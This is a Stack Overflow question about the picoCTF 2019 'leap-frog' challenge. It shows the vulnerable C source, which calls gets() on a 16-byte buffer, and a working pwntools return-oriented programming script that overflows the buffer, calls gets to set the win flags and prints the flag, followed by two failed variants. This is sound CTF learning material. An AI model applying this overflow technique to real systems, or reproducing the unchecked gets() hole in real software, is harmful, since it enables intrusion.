Why does this exploit require two separate payload injections rather than one?

0

I am new to binary exploitation problems. This one comes from picoctf 2019, leap-frog. The particular solution I'm interested in uses a buffer overflow on the vuln() function to force execution to return to gets' PLT entry. This is done because gets allows us to write to an arbitrary place in memory (see link). We are interested in writing to win1, win2, and win3. If we can set each of these to true, then we can print the flag! So, all we need to exploit the program is the buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables.

Source

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);

  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

The following script prints the flag when run in the CTF's shell

Solution Script

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload)
    p.sendline('\x01\x01\x01\x00')  # sets win1, win2, win3 to true via gets reading from stdin
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

The following script does NOT work, yet the only difference between the programs is this one merges the sendline() calls. I am guessing this is because the program did not reach the call to gets yet, so it is not ready for input from stdin.

Failed Solution 1

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload+'\x01\x01\x01\x00')
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

Failed Solution 2

Then, I tried to run the program without appending '\x01\x01\x01\x00\' to the payload, hoping execution would hit gets and wait for stdin input; however, I instead get a segfault. What is wrong with my logic for these two failed solutions? Thanks!

c
exploit
gets
ctf
asked on Stack Overflow Nov 7, 2019 by SuperGoA

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0